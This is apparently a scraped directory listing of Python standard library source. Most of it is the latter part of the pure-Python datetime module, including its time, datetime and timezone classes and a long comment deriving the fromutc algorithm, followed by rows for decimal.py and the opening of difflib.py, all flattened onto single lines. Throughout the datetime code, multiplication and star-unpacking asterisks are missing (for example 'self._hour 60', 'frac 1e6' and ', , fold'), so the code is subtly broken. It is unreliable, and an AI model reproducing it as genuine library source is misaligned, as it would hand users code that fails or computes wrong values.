# arbitrary non-zero value else: raise TypeError("cannot compare naive and aware times") myhhmm = self._hour 60 + self._minute - myoff//timedelta(minutes=1) othhmm = other._hour * 60 + other._minute - otoff//timedelta(minutes=1) return _cmp((myhhmm, self._second, self._microsecond), (othhmm, other._second, other._microsecond)) def __hash__(self): """Hash.""" if self._hashcode == -1: if self.fold: t = self.replace(fold=0) else: t = self tzoff = t.utcoffset() if not tzoff: # zero or None self._hashcode = hash(t._getstate()[0]) else: h, m = divmod(timedelta(hours=self.hour, minutes=self.minute) - tzoff, timedelta(hours=1)) assert not m % timedelta(minutes=1), "whole minute" m //= timedelta(minutes=1) if 0 <= h < 24: self._hashcode = hash(time(h, m, self.second, self.microsecond)) else: self._hashcode = hash((h, m, self.second, self.microsecond)) return self._hashcode # Conversion to string def _tzstr(self): """Return formatted timezone offset (+xx:xx) or an empty string.""" off = self.utcoffset() return _format_offset(off) def __repr__(self): """Convert to formal string, for repr().""" if self._microsecond != 0: s = ", %d, %d" % (self._second, self._microsecond) elif self._second != 0: s = ", %d" % self._second else: s = "" s= "%s.%s(%d, %d%s)" % (self.__class__.__module__, self.__class__.__qualname__, self._hour, self._minute, s) if self._tzinfo is not None: assert s[-1:] == ")" s = s[:-1] + ", tzinfo=%r" % self._tzinfo + ")" if self._fold: assert s[-1:] == ")" s = s[:-1] + ", fold=1)" return s def isoformat(self, timespec='auto'): """Return the time formatted according to ISO. The full format is 'HH:MM:SS.mmmmmm+zz:zz'. By default, the fractional part is omitted if self.microsecond == 0. The optional argument timespec specifies the number of additional terms of the time to include. """ s = _format_time(self._hour, self._minute, self._second, self._microsecond, timespec) tz = self._tzstr() if tz: s += tz return s __str__ = isoformat @classmethod def fromisoformat(cls, time_string): """Construct a time from the output of isoformat().""" if not isinstance(time_string, str): raise TypeError('fromisoformat: argument must be str') try: return cls(_parse_isoformat_time(time_string)) except Exception: raise ValueError(f'Invalid isoformat string: {time_string!r}') def strftime(self, fmt): """Format using strftime(). The date part of the timestamp passed to underlying strftime should not be used. """ # The year must be >= 1000 else Python's strftime implementation # can raise a bogus exception. timetuple = (1900, 1, 1, self._hour, self._minute, self._second, 0, 1, -1) return _wrap_strftime(self, fmt, timetuple) def __format__(self, fmt): if not isinstance(fmt, str): raise TypeError("must be str, not %s" % type(fmt).__name__) if len(fmt) != 0: return self.strftime(fmt) return str(self) # Timezone functions def utcoffset(self): """Return the timezone offset as timedelta, positive east of UTC (negative west of UTC).""" if self._tzinfo is None: return None offset = self._tzinfo.utcoffset(None) _check_utc_offset("utcoffset", offset) return offset def tzname(self): """Return the timezone name. Note that the name is 100% informational -- there's no requirement that it mean anything in particular. For example, "GMT", "UTC", "-500", "-5:00", "EDT", "US/Eastern", "America/New York" are all valid replies. """ if self._tzinfo is None: return None name = self._tzinfo.tzname(None) _check_tzname(name) return name def dst(self): """Return 0 if DST is not in effect, or the DST offset (as timedelta positive eastward) if DST is in effect. This is purely informational; the DST offset has already been added to the UTC offset returned by utcoffset() if applicable, so there's no need to consult dst() unless you're interested in displaying the DST info. """ if self._tzinfo is None: return None offset = self._tzinfo.dst(None) _check_utc_offset("dst", offset) return offset def replace(self, hour=None, minute=None, second=None, microsecond=None, tzinfo=True, , fold=None): """Return a new time with new values for the specified fields.""" if hour is None: hour = self.hour if minute is None: minute = self.minute if second is None: second = self.second if microsecond is None: microsecond = self.microsecond if tzinfo is True: tzinfo = self.tzinfo if fold is None: fold = self._fold return type(self)(hour, minute, second, microsecond, tzinfo, fold=fold) # Pickle support. def _getstate(self, protocol=3): us2, us3 = divmod(self._microsecond, 256) us1, us2 = divmod(us2, 256) h = self._hour if self._fold and protocol > 3: h += 128 basestate = bytes([h, self._minute, self._second, us1, us2, us3]) if self._tzinfo is None: return (basestate,) else: return (basestate, self._tzinfo) def __setstate(self, string, tzinfo): if tzinfo is not None and not isinstance(tzinfo, _tzinfo_class): raise TypeError("bad tzinfo state arg") h, self._minute, self._second, us1, us2, us3 = string if h > 127: self._fold = 1 self._hour = h - 128 else: self._fold = 0 self._hour = h self._microsecond = (((us1 << 8) \| us2) << 8) \| us3 self._tzinfo = tzinfo def __reduce_ex__(self, protocol): return (time, self._getstate(protocol)) def __reduce__(self): return self.__reduce_ex__(2) _time_class = time # so functions w/ args named "time" can get at the class time.min = time(0, 0, 0) time.max = time(23, 59, 59, 999999) time.resolution = timedelta(microseconds=1) class datetime(date): """datetime(year, month, day[, hour[, minute[, second[, microsecond[,tzinfo]]]]]) The year, month and day arguments are required. tzinfo may be None, or an instance of a tzinfo subclass. The remaining arguments may be ints. """ __slots__ = date.__slots__ + time.__slots__ def __new__(cls, year, month=None, day=None, hour=0, minute=0, second=0, microsecond=0, tzinfo=None, , fold=0): if (isinstance(year, (bytes, str)) and len(year) == 10 and 1 <= ord(year[2:3])&0x7F <= 12): # Pickle support if isinstance(year, str): try: year = bytes(year, 'latin1') except UnicodeEncodeError: # More informative error message. raise ValueError( "Failed to encode latin1 string when unpickling " "a datetime object. " "pickle.load(data, encoding='latin1') is assumed.") self = object.__new__(cls) self.__setstate(year, month) self._hashcode = -1 return self year, month, day = _check_date_fields(year, month, day) hour, minute, second, microsecond, fold = _check_time_fields( hour, minute, second, microsecond, fold) _check_tzinfo_arg(tzinfo) self = object.__new__(cls) self._year = year self._month = month self._day = day self._hour = hour self._minute = minute self._second = second self._microsecond = microsecond self._tzinfo = tzinfo self._hashcode = -1 self._fold = fold return self # Read-only field accessors @property def hour(self): """hour (0-23)""" return self._hour @property def minute(self): """minute (0-59)""" return self._minute @property def second(self): """second (0-59)""" return self._second @property def microsecond(self): """microsecond (0-999999)""" return self._microsecond @property def tzinfo(self): """timezone info object""" return self._tzinfo @property def fold(self): return self._fold @classmethod def _fromtimestamp(cls, t, utc, tz): """Construct a datetime from a POSIX timestamp (like time.time()). A timezone info object may be passed in as well. """ frac, t = _math.modf(t) us = round(frac 1e6) if us >= 1000000: t += 1 us -= 1000000 elif us < 0: t -= 1 us += 1000000 converter = _time.gmtime if utc else _time.localtime y, m, d, hh, mm, ss, weekday, jday, dst = converter(t) ss = min(ss, 59) # clamp out leap seconds if the platform has them result = cls(y, m, d, hh, mm, ss, us, tz) if tz is None: # As of version 2015f max fold in IANA database is # 23 hours at 1969-09-30 13:00:00 in Kwajalein. # Let's probe 24 hours in the past to detect a transition: max_fold_seconds = 24 * 3600 # On Windows localtime_s throws an OSError for negative values, # thus we can't perform fold detection for values of time less # than the max time fold. See comments in _datetimemodule's # version of this method for more details. if t < max_fold_seconds and sys.platform.startswith("win"): return result y, m, d, hh, mm, ss = converter(t - max_fold_seconds)[:6] probe1 = cls(y, m, d, hh, mm, ss, us, tz) trans = result - probe1 - timedelta(0, max_fold_seconds) if trans.days < 0: y, m, d, hh, mm, ss = converter(t + trans // timedelta(0, 1))[:6] probe2 = cls(y, m, d, hh, mm, ss, us, tz) if probe2 == result: result._fold = 1 else: result = tz.fromutc(result) return result @classmethod def fromtimestamp(cls, t, tz=None): """Construct a datetime from a POSIX timestamp (like time.time()). A timezone info object may be passed in as well. """ _check_tzinfo_arg(tz) return cls._fromtimestamp(t, tz is not None, tz) @classmethod def utcfromtimestamp(cls, t): """Construct a naive UTC datetime from a POSIX timestamp.""" return cls._fromtimestamp(t, True, None) @classmethod def now(cls, tz=None): "Construct a datetime from time.time() and optional time zone info." t = _time.time() return cls.fromtimestamp(t, tz) @classmethod def utcnow(cls): "Construct a UTC datetime from time.time()." t = _time.time() return cls.utcfromtimestamp(t) @classmethod def combine(cls, date, time, tzinfo=True): "Construct a datetime from a given date and a given time." if not isinstance(date, _date_class): raise TypeError("date argument must be a date instance") if not isinstance(time, _time_class): raise TypeError("time argument must be a time instance") if tzinfo is True: tzinfo = time.tzinfo return cls(date.year, date.month, date.day, time.hour, time.minute, time.second, time.microsecond, tzinfo, fold=time.fold) @classmethod def fromisoformat(cls, date_string): """Construct a datetime from the output of datetime.isoformat().""" if not isinstance(date_string, str): raise TypeError('fromisoformat: argument must be str') # Split this at the separator dstr = date_string[0:10] tstr = date_string[11:] try: date_components = _parse_isoformat_date(dstr) except ValueError: raise ValueError(f'Invalid isoformat string: {date_string!r}') if tstr: try: time_components = _parse_isoformat_time(tstr) except ValueError: raise ValueError(f'Invalid isoformat string: {date_string!r}') else: time_components = [0, 0, 0, 0, None] return cls((date_components + time_components)) def timetuple(self): "Return local time tuple compatible with time.localtime()." dst = self.dst() if dst is None: dst = -1 elif dst: dst = 1 else: dst = 0 return _build_struct_time(self.year, self.month, self.day, self.hour, self.minute, self.second, dst) def _mktime(self): """Return integer POSIX timestamp.""" epoch = datetime(1970, 1, 1) max_fold_seconds = 24 3600 t = (self - epoch) // timedelta(0, 1) def local(u): y, m, d, hh, mm, ss = _time.localtime(u)[:6] return (datetime(y, m, d, hh, mm, ss) - epoch) // timedelta(0, 1) # Our goal is to solve t = local(u) for u. a = local(t) - t u1 = t - a t1 = local(u1) if t1 == t: # We found one solution, but it may not be the one we need. # Look for an earlier solution (if `fold` is 0), or a # later one (if `fold` is 1). u2 = u1 + (-max_fold_seconds, max_fold_seconds)[self.fold] b = local(u2) - u2 if a == b: return u1 else: b = t1 - u1 assert a != b u2 = t - b t2 = local(u2) if t2 == t: return u2 if t1 == t: return u1 # We have found both offsets a and b, but neither t - a nor t - b is # a solution. This means t is in the gap. return (max, min)[self.fold](u1, u2) def timestamp(self): "Return POSIX timestamp as float" if self._tzinfo is None: s = self._mktime() return s + self.microsecond / 1e6 else: return (self - _EPOCH).total_seconds() def utctimetuple(self): "Return UTC time tuple compatible with time.gmtime()." offset = self.utcoffset() if offset: self -= offset y, m, d = self.year, self.month, self.day hh, mm, ss = self.hour, self.minute, self.second return _build_struct_time(y, m, d, hh, mm, ss, 0) def date(self): "Return the date part." return date(self._year, self._month, self._day) def time(self): "Return the time part, with tzinfo None." return time(self.hour, self.minute, self.second, self.microsecond, fold=self.fold) def timetz(self): "Return the time part, with same tzinfo." return time(self.hour, self.minute, self.second, self.microsecond, self._tzinfo, fold=self.fold) def replace(self, year=None, month=None, day=None, hour=None, minute=None, second=None, microsecond=None, tzinfo=True, , fold=None): """Return a new datetime with new values for the specified fields.""" if year is None: year = self.year if month is None: month = self.month if day is None: day = self.day if hour is None: hour = self.hour if minute is None: minute = self.minute if second is None: second = self.second if microsecond is None: microsecond = self.microsecond if tzinfo is True: tzinfo = self.tzinfo if fold is None: fold = self.fold return type(self)(year, month, day, hour, minute, second, microsecond, tzinfo, fold=fold) def _local_timezone(self): if self.tzinfo is None: ts = self._mktime() else: ts = (self - _EPOCH) // timedelta(seconds=1) localtm = _time.localtime(ts) local = datetime(localtm[:6]) try: # Extract TZ data if available gmtoff = localtm.tm_gmtoff zone = localtm.tm_zone except AttributeError: delta = local - datetime(_time.gmtime(ts)[:6]) zone = _time.strftime('%Z', localtm) tz = timezone(delta, zone) else: tz = timezone(timedelta(seconds=gmtoff), zone) return tz def astimezone(self, tz=None): if tz is None: tz = self._local_timezone() elif not isinstance(tz, tzinfo): raise TypeError("tz argument must be an instance of tzinfo") mytz = self.tzinfo if mytz is None: mytz = self._local_timezone() myoffset = mytz.utcoffset(self) else: myoffset = mytz.utcoffset(self) if myoffset is None: mytz = self.replace(tzinfo=None)._local_timezone() myoffset = mytz.utcoffset(self) if tz is mytz: return self # Convert self to UTC, and attach the new time zone object. utc = (self - myoffset).replace(tzinfo=tz) # Convert from UTC to tz's local time. return tz.fromutc(utc) # Ways to produce a string. def ctime(self): "Return ctime() style string." weekday = self.toordinal() % 7 or 7 return "%s %s %2d %02d:%02d:%02d %04d" % ( _DAYNAMES[weekday], _MONTHNAMES[self._month], self._day, self._hour, self._minute, self._second, self._year) def isoformat(self, sep='T', timespec='auto'): """Return the time formatted according to ISO. The full format looks like 'YYYY-MM-DD HH:MM:SS.mmmmmm'. By default, the fractional part is omitted if self.microsecond == 0. If self.tzinfo is not None, the UTC offset is also attached, giving giving a full format of 'YYYY-MM-DD HH:MM:SS.mmmmmm+HH:MM'. Optional argument sep specifies the separator between date and time, default 'T'. The optional argument timespec specifies the number of additional terms of the time to include. """ s = ("%04d-%02d-%02d%c" % (self._year, self._month, self._day, sep) + _format_time(self._hour, self._minute, self._second, self._microsecond, timespec)) off = self.utcoffset() tz = _format_offset(off) if tz: s += tz return s def __repr__(self): """Convert to formal string, for repr().""" L = [self._year, self._month, self._day, # These are never zero self._hour, self._minute, self._second, self._microsecond] if L[-1] == 0: del L[-1] if L[-1] == 0: del L[-1] s = "%s.%s(%s)" % (self.__class__.__module__, self.__class__.__qualname__, ", ".join(map(str, L))) if self._tzinfo is not None: assert s[-1:] == ")" s = s[:-1] + ", tzinfo=%r" % self._tzinfo + ")" if self._fold: assert s[-1:] == ")" s = s[:-1] + ", fold=1)" return s def __str__(self): "Convert to string, for str()." return self.isoformat(sep=' ') @classmethod def strptime(cls, date_string, format): 'string, format -> new datetime parsed from a string (like time.strptime()).' import _strptime return _strptime._strptime_datetime(cls, date_string, format) def utcoffset(self): """Return the timezone offset as timedelta positive east of UTC (negative west of UTC).""" if self._tzinfo is None: return None offset = self._tzinfo.utcoffset(self) _check_utc_offset("utcoffset", offset) return offset def tzname(self): """Return the timezone name. Note that the name is 100% informational -- there's no requirement that it mean anything in particular. For example, "GMT", "UTC", "-500", "-5:00", "EDT", "US/Eastern", "America/New York" are all valid replies. """ if self._tzinfo is None: return None name = self._tzinfo.tzname(self) _check_tzname(name) return name def dst(self): """Return 0 if DST is not in effect, or the DST offset (as timedelta positive eastward) if DST is in effect. This is purely informational; the DST offset has already been added to the UTC offset returned by utcoffset() if applicable, so there's no need to consult dst() unless you're interested in displaying the DST info. """ if self._tzinfo is None: return None offset = self._tzinfo.dst(self) _check_utc_offset("dst", offset) return offset # Comparisons of datetime objects with other. def __eq__(self, other): if isinstance(other, datetime): return self._cmp(other, allow_mixed=True) == 0 elif not isinstance(other, date): return NotImplemented else: return False def __le__(self, other): if isinstance(other, datetime): return self._cmp(other) <= 0 elif not isinstance(other, date): return NotImplemented else: _cmperror(self, other) def __lt__(self, other): if isinstance(other, datetime): return self._cmp(other) < 0 elif not isinstance(other, date): return NotImplemented else: _cmperror(self, other) def __ge__(self, other): if isinstance(other, datetime): return self._cmp(other) >= 0 elif not isinstance(other, date): return NotImplemented else: _cmperror(self, other) def __gt__(self, other): if isinstance(other, datetime): return self._cmp(other) > 0 elif not isinstance(other, date): return NotImplemented else: _cmperror(self, other) def _cmp(self, other, allow_mixed=False): assert isinstance(other, datetime) mytz = self._tzinfo ottz = other._tzinfo myoff = otoff = None if mytz is ottz: base_compare = True else: myoff = self.utcoffset() otoff = other.utcoffset() # Assume that allow_mixed means that we are called from __eq__ if allow_mixed: if myoff != self.replace(fold=not self.fold).utcoffset(): return 2 if otoff != other.replace(fold=not other.fold).utcoffset(): return 2 base_compare = myoff == otoff if base_compare: return _cmp((self._year, self._month, self._day, self._hour, self._minute, self._second, self._microsecond), (other._year, other._month, other._day, other._hour, other._minute, other._second, other._microsecond)) if myoff is None or otoff is None: if allow_mixed: return 2 # arbitrary non-zero value else: raise TypeError("cannot compare naive and aware datetimes") # XXX What follows could be done more efficiently... diff = self - other # this will take offsets into account if diff.days < 0: return -1 return diff and 1 or 0 def __add__(self, other): "Add a datetime and a timedelta." if not isinstance(other, timedelta): return NotImplemented delta = timedelta(self.toordinal(), hours=self._hour, minutes=self._minute, seconds=self._second, microseconds=self._microsecond) delta += other hour, rem = divmod(delta.seconds, 3600) minute, second = divmod(rem, 60) if 0 < delta.days <= _MAXORDINAL: return datetime.combine(date.fromordinal(delta.days), time(hour, minute, second, delta.microseconds, tzinfo=self._tzinfo)) raise OverflowError("result out of range") __radd__ = __add__ def __sub__(self, other): "Subtract two datetimes, or a datetime and a timedelta." if not isinstance(other, datetime): if isinstance(other, timedelta): return self + -other return NotImplemented days1 = self.toordinal() days2 = other.toordinal() secs1 = self._second + self._minute 60 + self._hour * 3600 secs2 = other._second + other._minute * 60 + other._hour * 3600 base = timedelta(days1 - days2, secs1 - secs2, self._microsecond - other._microsecond) if self._tzinfo is other._tzinfo: return base myoff = self.utcoffset() otoff = other.utcoffset() if myoff == otoff: return base if myoff is None or otoff is None: raise TypeError("cannot mix naive and timezone-aware time") return base + otoff - myoff def __hash__(self): if self._hashcode == -1: if self.fold: t = self.replace(fold=0) else: t = self tzoff = t.utcoffset() if tzoff is None: self._hashcode = hash(t._getstate()[0]) else: days = _ymd2ord(self.year, self.month, self.day) seconds = self.hour * 3600 + self.minute * 60 + self.second self._hashcode = hash(timedelta(days, seconds, self.microsecond) - tzoff) return self._hashcode # Pickle support. def _getstate(self, protocol=3): yhi, ylo = divmod(self._year, 256) us2, us3 = divmod(self._microsecond, 256) us1, us2 = divmod(us2, 256) m = self._month if self._fold and protocol > 3: m += 128 basestate = bytes([yhi, ylo, m, self._day, self._hour, self._minute, self._second, us1, us2, us3]) if self._tzinfo is None: return (basestate,) else: return (basestate, self._tzinfo) def __setstate(self, string, tzinfo): if tzinfo is not None and not isinstance(tzinfo, _tzinfo_class): raise TypeError("bad tzinfo state arg") (yhi, ylo, m, self._day, self._hour, self._minute, self._second, us1, us2, us3) = string if m > 127: self._fold = 1 self._month = m - 128 else: self._fold = 0 self._month = m self._year = yhi * 256 + ylo self._microsecond = (((us1 << 8) \| us2) << 8) \| us3 self._tzinfo = tzinfo def __reduce_ex__(self, protocol): return (self.__class__, self._getstate(protocol)) def __reduce__(self): return self.__reduce_ex__(2) datetime.min = datetime(1, 1, 1) datetime.max = datetime(9999, 12, 31, 23, 59, 59, 999999) datetime.resolution = timedelta(microseconds=1) def _isoweek1monday(year): # Helper to calculate the day number of the Monday starting week 1 # XXX This could be done more efficiently THURSDAY = 3 firstday = _ymd2ord(year, 1, 1) firstweekday = (firstday + 6) % 7 # See weekday() above week1monday = firstday - firstweekday if firstweekday > THURSDAY: week1monday += 7 return week1monday class timezone(tzinfo): __slots__ = '_offset', '_name' # Sentinel value to disallow None _Omitted = object() def __new__(cls, offset, name=_Omitted): if not isinstance(offset, timedelta): raise TypeError("offset must be a timedelta") if name is cls._Omitted: if not offset: return cls.utc name = None elif not isinstance(name, str): raise TypeError("name must be a string") if not cls._minoffset <= offset <= cls._maxoffset: raise ValueError("offset must be a timedelta " "strictly between -timedelta(hours=24) and " "timedelta(hours=24).") return cls._create(offset, name) @classmethod def _create(cls, offset, name=None): self = tzinfo.__new__(cls) self._offset = offset self._name = name return self def __getinitargs__(self): """pickle support""" if self._name is None: return (self._offset,) return (self._offset, self._name) def __eq__(self, other): if isinstance(other, timezone): return self._offset == other._offset return NotImplemented def __hash__(self): return hash(self._offset) def __repr__(self): """Convert to formal string, for repr(). >>> tz = timezone.utc >>> repr(tz) 'datetime.timezone.utc' >>> tz = timezone(timedelta(hours=-5), 'EST') >>> repr(tz) "datetime.timezone(datetime.timedelta(-1, 68400), 'EST')" """ if self is self.utc: return 'datetime.timezone.utc' if self._name is None: return "%s.%s(%r)" % (self.__class__.__module__, self.__class__.__qualname__, self._offset) return "%s.%s(%r, %r)" % (self.__class__.__module__, self.__class__.__qualname__, self._offset, self._name) def __str__(self): return self.tzname(None) def utcoffset(self, dt): if isinstance(dt, datetime) or dt is None: return self._offset raise TypeError("utcoffset() argument must be a datetime instance" " or None") def tzname(self, dt): if isinstance(dt, datetime) or dt is None: if self._name is None: return self._name_from_offset(self._offset) return self._name raise TypeError("tzname() argument must be a datetime instance" " or None") def dst(self, dt): if isinstance(dt, datetime) or dt is None: return None raise TypeError("dst() argument must be a datetime instance" " or None") def fromutc(self, dt): if isinstance(dt, datetime): if dt.tzinfo is not self: raise ValueError("fromutc: dt.tzinfo " "is not self") return dt + self._offset raise TypeError("fromutc() argument must be a datetime instance" " or None") _maxoffset = timedelta(hours=24, microseconds=-1) _minoffset = -_maxoffset @staticmethod def _name_from_offset(delta): if not delta: return 'UTC' if delta < timedelta(0): sign = '-' delta = -delta else: sign = '+' hours, rest = divmod(delta, timedelta(hours=1)) minutes, rest = divmod(rest, timedelta(minutes=1)) seconds = rest.seconds microseconds = rest.microseconds if microseconds: return (f'UTC{sign}{hours:02d}:{minutes:02d}:{seconds:02d}' f'.{microseconds:06d}') if seconds: return f'UTC{sign}{hours:02d}:{minutes:02d}:{seconds:02d}' return f'UTC{sign}{hours:02d}:{minutes:02d}' timezone.utc = timezone._create(timedelta(0)) # bpo-37642: These attributes are rounded to the nearest minute for backwards # compatibility, even though the constructor will accept a wider range of # values. This may change in the future. timezone.min = timezone._create(-timedelta(hours=23, minutes=59)) timezone.max = timezone._create(timedelta(hours=23, minutes=59)) _EPOCH = datetime(1970, 1, 1, tzinfo=timezone.utc) # Some time zone algebra. For a datetime x, let # x.n = x stripped of its timezone -- its naive time. # x.o = x.utcoffset(), and assuming that doesn't raise an exception or # return None # x.d = x.dst(), and assuming that doesn't raise an exception or # return None # x.s = x's standard offset, x.o - x.d # # Now some derived rules, where k is a duration (timedelta). # # 1. x.o = x.s + x.d # This follows from the definition of x.s. # # 2. If x and y have the same tzinfo member, x.s = y.s. # This is actually a requirement, an assumption we need to make about # sane tzinfo classes. # # 3. The naive UTC time corresponding to x is x.n - x.o. # This is again a requirement for a sane tzinfo class. # # 4. (x+k).s = x.s # This follows from #2, and that datimetimetz+timedelta preserves tzinfo. # # 5. (x+k).n = x.n + k # Again follows from how arithmetic is defined. # # Now we can explain tz.fromutc(x). Let's assume it's an interesting case # (meaning that the various tzinfo methods exist, and don't blow up or return # None when called). # # The function wants to return a datetime y with timezone tz, equivalent to x. # x is already in UTC. # # By #3, we want # # y.n - y.o = x.n [1] # # The algorithm starts by attaching tz to x.n, and calling that y. So # x.n = y.n at the start. Then it wants to add a duration k to y, so that [1] # becomes true; in effect, we want to solve [2] for k: # # (y+k).n - (y+k).o = x.n [2] # # By #1, this is the same as # # (y+k).n - ((y+k).s + (y+k).d) = x.n [3] # # By #5, (y+k).n = y.n + k, which equals x.n + k because x.n=y.n at the start. # Substituting that into [3], # # x.n + k - (y+k).s - (y+k).d = x.n; the x.n terms cancel, leaving # k - (y+k).s - (y+k).d = 0; rearranging, # k = (y+k).s - (y+k).d; by #4, (y+k).s == y.s, so # k = y.s - (y+k).d # # On the RHS, (y+k).d can't be computed directly, but y.s can be, and we # approximate k by ignoring the (y+k).d term at first. Note that k can't be # very large, since all offset-returning methods return a duration of magnitude # less than 24 hours. For that reason, if y is firmly in std time, (y+k).d must # be 0, so ignoring it has no consequence then. # # In any case, the new value is # # z = y + y.s [4] # # It's helpful to step back at look at [4] from a higher level: it's simply # mapping from UTC to tz's standard time. # # At this point, if # # z.n - z.o = x.n [5] # # we have an equivalent time, and are almost done. The insecurity here is # at the start of daylight time. Picture US Eastern for concreteness. The wall # time jumps from 1:59 to 3:00, and wall hours of the form 2:MM don't make good # sense then. The docs ask that an Eastern tzinfo class consider such a time to # be EDT (because it's "after 2"), which is a redundant spelling of 1:MM EST # on the day DST starts. We want to return the 1:MM EST spelling because that's # the only spelling that makes sense on the local wall clock. # # In fact, if [5] holds at this point, we do have the standard-time spelling, # but that takes a bit of proof. We first prove a stronger result. What's the # difference between the LHS and RHS of [5]? Let # # diff = x.n - (z.n - z.o) [6] # # Now # z.n = by [4] # (y + y.s).n = by #5 # y.n + y.s = since y.n = x.n # x.n + y.s = since z and y are have the same tzinfo member, # y.s = z.s by #2 # x.n + z.s # # Plugging that back into [6] gives # # diff = # x.n - ((x.n + z.s) - z.o) = expanding # x.n - x.n - z.s + z.o = cancelling # - z.s + z.o = by #2 # z.d # # So diff = z.d. # # If [5] is true now, diff = 0, so z.d = 0 too, and we have the standard-time # spelling we wanted in the endcase described above. We're done. Contrarily, # if z.d = 0, then we have a UTC equivalent, and are also done. # # If [5] is not true now, diff = z.d != 0, and z.d is the offset we need to # add to z (in effect, z is in tz's standard time, and we need to shift the # local clock into tz's daylight time). # # Let # # z' = z + z.d = z + diff [7] # # and we can again ask whether # # z'.n - z'.o = x.n [8] # # If so, we're done. If not, the tzinfo class is insane, according to the # assumptions we've made. This also requires a bit of proof. As before, let's # compute the difference between the LHS and RHS of [8] (and skipping some of # the justifications for the kinds of substitutions we've done several times # already): # # diff' = x.n - (z'.n - z'.o) = replacing z'.n via [7] # x.n - (z.n + diff - z'.o) = replacing diff via [6] # x.n - (z.n + x.n - (z.n - z.o) - z'.o) = # x.n - z.n - x.n + z.n - z.o + z'.o = cancel x.n # - z.n + z.n - z.o + z'.o = cancel z.n # - z.o + z'.o = #1 twice # -z.s - z.d + z'.s + z'.d = z and z' have same tzinfo # z'.d - z.d # # So z' is UTC-equivalent to x iff z'.d = z.d at this point. If they are equal, # we've found the UTC-equivalent so are done. In fact, we stop with [7] and # return z', not bothering to compute z'.d. # # How could z.d and z'd differ? z' = z + z.d [7], so merely moving z' by # a dst() offset, and starting from a time already in DST (we know z.d != 0), # would have to change the result dst() returns: we start in DST, and moving # a little further into it takes us out of DST. # # There isn't a sane case where this can happen. The closest it gets is at # the end of DST, where there's an hour in UTC with no spelling in a hybrid # tzinfo class. In US Eastern, that's 5:MM UTC = 0:MM EST = 1:MM EDT. During # that hour, on an Eastern clock 1:MM is taken as being in standard time (6:MM # UTC) because the docs insist on that, but 0:MM is taken as being in daylight # time (4:MM UTC). There is no local time mapping to 5:MM UTC. The local # clock jumps from 1:59 back to 1:00 again, and repeats the 1:MM hour in # standard time. Since that's what the local clock does, we want to map both # UTC hours 5:MM and 6:MM to 1:MM Eastern. The result is ambiguous # in local time, but so it goes -- it's the way the local clock works. # # When x = 5:MM UTC is the input to this algorithm, x.o=0, y.o=-5 and y.d=0, # so z=0:MM. z.d=60 (minutes) then, so [5] doesn't hold and we keep going. # z' = z + z.d = 1:MM then, and z'.d=0, and z'.d - z.d = -60 != 0 so [8] # (correctly) concludes that z' is not UTC-equivalent to x. # # Because we know z.d said z was in daylight time (else [5] would have held and # we would have stopped then), and we know z.d != z'.d (else [8] would have held # and we have stopped then), and there are only 2 possible values dst() can # return in Eastern, it follows that z'.d must be 0 (which it is in the example, # but the reasoning doesn't depend on the example -- it depends on there being # two possible dst() outcomes, one zero and the other non-zero). Therefore # z' must be in standard time, and is the spelling we want in this case. # # Note again that z' is not UTC-equivalent as far as the hybrid tzinfo class is # concerned (because it takes z' as being in standard time rather than the # daylight time we intend here), but returning it gives the real-life "local # clock repeats an hour" behavior when mapping the "unspellable" UTC hour into # tz. # # When the input is 6:MM, z=1:MM and z.d=0, and we stop at once, again with # the 1:MM standard time spelling we want. # # So how can this break? One of the assumptions must be violated. Two # possibilities: # # 1) [2] effectively says that y.s is invariant across all y belong to a given # time zone. This isn't true if, for political reasons or continental drift, # a region decides to change its base offset from UTC. # # 2) There may be versions of "double daylight" time where the tail end of # the analysis gives up a step too early. I haven't thought about that # enough to say. # # In any case, it's clear that the default fromutc() is strong enough to handle # "almost all" time zones: so long as the standard offset is invariant, it # doesn't matter if daylight time transition points change from year to year, or # if daylight time is skipped in some years; it doesn't matter how large or # small dst() may get within its bounds; and it doesn't even matter if some # perverse time zone returns a negative dst()). So a breaking case must be # pretty bizarre, and a tzinfo subclass can override fromutc() if it is. try: from _datetime import * except ImportError: pass else: # Clean up unused names del (_DAYNAMES, _DAYS_BEFORE_MONTH, _DAYS_IN_MONTH, _DI100Y, _DI400Y, _DI4Y, _EPOCH, _MAXORDINAL, _MONTHNAMES, _build_struct_time, _check_date_fields, _check_int_field, _check_time_fields, _check_tzinfo_arg, _check_tzname, _check_utc_offset, _cmp, _cmperror, _date_class, _days_before_month, _days_before_year, _days_in_month, _format_time, _format_offset, _is_leap, _isoweek1monday, _math, _ord2ymd, _time, _time_class, _tzinfo_class, _wrap_strftime, _ymd2ord, _divide_and_round, _parse_isoformat_date, _parse_isoformat_time, _parse_hh_mm_ss_ff) # XXX Since import * above excludes names that start with _, # docstring does not get overwritten. In the future, it may be # appropriate to maintain a single module level docstring and # remove the following line. from _datetime import __doc__	84.52 KB	2024-04-17 17:55
📁 dbm	-	2025-10-13 08:00
📄 decimal.py try: from _decimal import * from _decimal import __doc__ from _decimal import __version__ from _decimal import __libmpdec_version__ except ImportError: from _pydecimal import * from _pydecimal import __doc__ from _pydecimal import __version__ from _pydecimal import __libmpdec_version__	320 B	2024-04-17 17:55
📄 difflib.py """ Module difflib -- helpers for computing deltas between objects. Function get_close_matches(word, possibilities, n=3, cutoff=0.6): Use SequenceMatcher to return list of the best "good enough" matches. Function context_diff(a, b): For two lists of strings, return a delta in context diff format. Function ndiff(a, b): Return a delta: the difference between `a` and `b` (lists of strings). Function restore(delta, which): Return one of the two sequences that generated an ndiff delta. Function unified_diff(a, b): For two lists of strings, return a delta in unified diff format. Class SequenceMatcher: A flexible class for comparing pairs of sequences of any type. Class Differ: For producing human-readable deltas from sequences of lines of text. Class HtmlDiff: For producing HTML side by side comparison with change highlights. """ __all__ = ['get_close_matches', 'ndiff', 'restore', 'SequenceMatcher', 'Differ','IS_CHARACTER_JUNK', 'IS_LINE_JUNK', 'context_diff', 'unified_diff', 'diff_bytes', 'HtmlDiff', 'Match'] from heapq import nlargest as _nlargest from collections import namedtuple as _namedtuple Match = _namedtuple('Match', 'a b size') def _calculate_ratio(matches, length): if length: return 2.0 * matches / length return 1.0 class SequenceMatcher: """ SequenceMatcher is a flexible class for comparing pairs of sequences of any type, so long as the sequence elements are hashable. The basic algorithm predates, and is a little fancier than, an algorithm published in the late 1980's by Ratcliff and Obershelp under the hyperbolic name "gestalt pattern matching". The basic idea is to find the longest contiguous matching subsequence that contains no "junk" elements (R-O doesn't address junk). The same idea is then applied recursively to the pieces of the sequences to the left and to the right of the matching subsequence. This does not yield minimal edit sequences, but does tend to yield matches that "look right" to people. SequenceMatcher tries to compute a "human-friendly diff" 